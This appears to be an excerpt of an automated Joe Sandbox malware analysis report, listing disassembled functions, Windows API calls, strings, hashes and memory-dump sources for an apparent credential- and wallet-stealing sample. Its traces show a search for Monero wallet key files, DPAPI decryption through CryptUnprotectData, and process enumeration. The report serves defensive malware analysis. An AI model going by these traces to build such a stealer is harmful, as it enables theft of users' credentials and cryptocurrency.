Instruction Fuzzy Hash: C5413BB194021CABCB24DB94DC99BFEB774FB44704F1041DAE20962290DB386F88CF65

Function 004EE530 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004FAA50: lstrcpy.KERNEL32(00500E1A,00000000), ref: 004FAA98

Part of subcall function 004FAC30: lstrcpy.KERNEL32(00000000,?), ref: 004FAC82
Part of subcall function 004FAC30: lstrcat.KERNEL32(00000000), ref: 004FAC92

Part of subcall function 004FACC0: lstrlen.KERNEL32(?,01458FB0,?,\Monero\wallet.keys,00500E1A), ref: 004FACD5
Part of subcall function 004FACC0: lstrcpy.KERNEL32(00000000), ref: 004FAD14
Part of subcall function 004FACC0: lstrcat.KERNEL32(00000000,00000000), ref: 004FAD22

Part of subcall function 004FABB0: lstrcpy.KERNEL32(?,00500E1A), ref: 004FAC15

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00500D79), ref: 004EE5A2
StrCmpCA.SHLWAPI(?,005015F0), ref: 004EE5F2
StrCmpCA.SHLWAPI(?,005015F4), ref: 004EE608
FindNextFileA.KERNEL32(000000FF,?), ref: 004EECDF

Strings

\*.*, xrefs: 004EE54D

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: f4c7b3b7ad790d09deca9735a73de8ae6a6aac9648b56ab3a6267e92de99c29f
Instruction ID: 8440f7b6af5f74a5ed6585e20a8f52c671bccd7c56416044e311fe17a249ece0
Opcode Fuzzy Hash: f4c7b3b7ad790d09deca9735a73de8ae6a6aac9648b56ab3a6267e92de99c29f
Instruction Fuzzy Hash: DC1231B2A1011C9BCB14FB61DDA6EFD7339AF54304F4045AEB60E52091EF386B58CB5A

Function 004EA210 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>ON,00000000,00000000), ref: 004EA23F
LocalAlloc.KERNEL32(00000040,?,?,?,004E4F3E,00000000,?), ref: 004EA251
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>ON,00000000,00000000), ref: 004EA27A
LocalFree.KERNEL32(?,?,?,?,004E4F3E,00000000,?), ref: 004EA28F

Strings

>ON, xrefs: 004EA224, 004EA231, 004EA249, 004EA268, 004EA234, 004EA26B

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: >ON
API String ID: 4291131564-925970133
Opcode ID: c4273c743aef996893d149c40884da1d486a6e560c630e181259b85217329ec9
Instruction ID: b6dc1ad977db77cc74890740d9c67f91a6ebf224d465bdfc7a602c9c43af9fdd
Opcode Fuzzy Hash: c4273c743aef996893d149c40884da1d486a6e560c630e181259b85217329ec9
Instruction Fuzzy Hash: D711D474240308AFEB14CF64DC95FAA77B5FB88B01F208189FE159B390C776A941CB54

Function 00937C69 Relevance: 7.9, Strings: 5, Instructions: 1696COMMON

Download Yara Rule

Strings

kL|~, xrefs: 009388C5
qN{\, xrefs: 00938D2D
qi?, xrefs: 00937D8E
YF>R, xrefs: 009390D3
YF>R, xrefs: 009390B4

Memory Dump Source

Source File: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: YF>R$YF>R$kL|~$qN{\$qi?
API String ID: 0-3936958629
Opcode ID: 48391d95ea34132404420672ab3fc6ab5eda68c46b18a78584afee9f14948ae7
Instruction ID: 0c5423041cea354434f832b11ec3efc32f29406dd75748911e46438b971a17b5
Opcode Fuzzy Hash: 48391d95ea34132404420672ab3fc6ab5eda68c46b18a78584afee9f14948ae7
Instruction Fuzzy Hash: 49B26CF3A0C2049FE3046E2DEC8567ABBE9EFD4360F1A463DEAC5D3744E93558058692

Function 00932DDE Relevance: 7.9, Strings: 5, Instructions: 1610COMMON

Download Yara Rule

Strings

*fsy, xrefs: 00933D09
sKWU, xrefs: 00933B7D
{, xrefs: 009331E6
Hk, xrefs: 00932EB6
h`7\, xrefs: 00933760

Memory Dump Source

Source File: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: *fsy$Hk$h`7\$sKWU${
API String ID: 0-3455512912
Opcode ID: 4d9ced611dc4cff7250bbc08fe8eaf2480fab6a87db309aa5ad731b84f558a0f
Instruction ID: 59a3f14d9bc296118f308434f495c504728f6174a5075aa7f026d5432c3c9fc0
Opcode Fuzzy Hash: 4d9ced611dc4cff7250bbc08fe8eaf2480fab6a87db309aa5ad731b84f558a0f
Instruction Fuzzy Hash: 48B2D5F360C204AFE304AE2DEC8567ABBE9EF94720F16493DE6C5C3744E63598058697

Function 0054F8D6 Relevance: 7.6, Strings: 6, Instructions: 123COMMON

Download Yara Rule

Strings

\u, xrefs: 0054F9A3
{, xrefs: 0054F9AA
{, xrefs: 0054FA9A
}, xrefs: 0054F99F
\u, xrefs: 0054FA93
}, xrefs: 0054FA8F

Memory Dump Source

Source File: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: \u$\u${${$}$}
API String ID: 0-582841131
Opcode ID: 27d9cd0be1a73f01c92297f6708ad4a9299737c53231bb6b8c18bba91e257b74
Instruction ID: cd26eb31b2b9c4b0388965de62f649104e3befcf84bee789eb80076ab243cebc
Opcode Fuzzy Hash: 27d9cd0be1a73f01c92297f6708ad4a9299737c53231bb6b8c18bba91e257b74
Instruction Fuzzy Hash: F0416D22E19BD9C5CB058B7844A02EEBFB27FD6214F6D42AAC49D1F382C774414AD3A5

Function 004EC920 Relevance: 7.6, APIs: 5, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 004EC971
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 004EC97C
lstrcat.KERNEL32(?,00500B47), ref: 004ECA43
lstrcat.KERNEL32(?,00500B4B), ref: 004ECA57
lstrcat.KERNEL32(?,00500B4E), ref: 004ECA78

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: 5eda0ec413073b2944542a22e74cc8526e422b7849c364c74c567980d3f2a0ad
Instruction ID: 9770b22a8d2575901094765f2a7bf438e0f714694e61aa9c31b00a9af406308f
Opcode Fuzzy Hash: 5eda0ec413073b2944542a22e74cc8526e422b7849c364c74c567980d3f2a0ad
Instruction Fuzzy Hash: 19415E74D0421E9BDB14DFA4DD89FFEB7B8BB88304F1042A9E509A62C0D7785A84CF95

Function 004E72A0 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 004E72AD
RtlAllocateHeap.NTDLL(00000000), ref: 004E72B4
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 004E72E1
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 004E7304
LocalFree.KERNEL32(?), ref: 004E730E

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: 044554c61bfd5e1f0a1d772f29f8827155d17c07f0dc827c6c19e83d9d86cac1
Instruction ID: ae120b999ac80accb862bd1dab316001fe0fb144095a342b863cc598278b5b21
Opcode Fuzzy Hash: 044554c61bfd5e1f0a1d772f29f8827155d17c07f0dc827c6c19e83d9d86cac1
Instruction Fuzzy Hash: AD010C75A44308BBDB14DFA8DC46F9E7778BB84B01F108545FB05AB2C0D6B4AA00DB69

Function 004F9790 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 004F97AE
Process32First.KERNEL32(00500ACE,00000128), ref: 004F97C2
Process32Next.KERNEL32(00500ACE,00000128), ref: 004F97D7
StrCmpCA.SHLWAPI(?,00000000), ref: 004F97EC
CloseHandle.KERNEL32(00500ACE), ref: 004F980A

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 7066cb6124f759f2aa73d89a41dc6263851b80dd71abf25b399257aee59b7460
Instruction ID: d023ece4cd1e9ad30905201b9863bb3150bbc69d895bfb0adc547100259c1622
Opcode Fuzzy Hash: 7066cb6124f759f2aa73d89a41dc6263851b80dd71abf25b399257aee59b7460
Instruction Fuzzy Hash: C5010C75A1420CEBDB24DFA4CD44BEEB7B8BB88700F108689E50997250E7389E40CF64

Function 00934D0E Relevance: 7.5, Strings: 5, Instructions: 1244COMMON

Download Yara Rule

Strings

w]{Q, xrefs: 00935563
rB, xrefs: 0093504F
T/|@, xrefs: 00935219
y[2, xrefs: 009351C7
w]{Q, xrefs: 00935569

Memory Dump Source

Source File: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: T/|@$rB$w]{Q$w]{Q$y[2
API String ID: 0-1813117950
Opcode ID: 3160efbc3830bb282d45e05536cab7b00b5ee73a69c19152f48b86c9bded5d2e
Instruction ID: 70154b8449794a4b85b6a3fad35721159cecea8b4d315a74c99677f50a54a1f2
Opcode Fuzzy Hash: 3160efbc3830bb282d45e05536cab7b00b5ee73a69c19152f48b86c9bded5d2e
Instruction Fuzzy Hash: 7682E7F360C200AFE304AE29EC8566AF7E9EFD4720F16893DE6C4D7344E63598058697

Function 00504573 Relevance: 7.3, Strings: 2, Instructions: 4819COMMON

Download Yara Rule

Strings

huzx, xrefs: 005048F0
<7\h, xrefs: 00504752

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: <7\h$huzx
API String ID: 0-2989614873
Opcode ID: 1d306a64b32ec80efcd30ebbf21bf8be57d4a3a31a1eaaf5b560232c1a76f8cf
Instruction ID: ba5a3d4d7376988afd3d73c57309d63ba94c1b9f49adab621915e52968e4417c
Opcode Fuzzy Hash: 1d306a64b32ec80efcd30ebbf21bf8be57d4a3a31a1eaaf5b560232c1a76f8cf
Instruction Fuzzy Hash: CD63627241EBD51ECB27CB3047B619A7F26BB1321031C49CEC9C18B5F3D690AA1AE756

Function 004F9030 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,004E51D4,40000001,00000000,00000000,?,004E51D4), ref: 004F9050

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: cf7d29cf102896b509aecec643232b3c28dc3eb351c0346d53643ae7791487da
Instruction ID: c9f11763c81224372005b408b711e91355a15cbe5f637fb0edefbe4854da4849
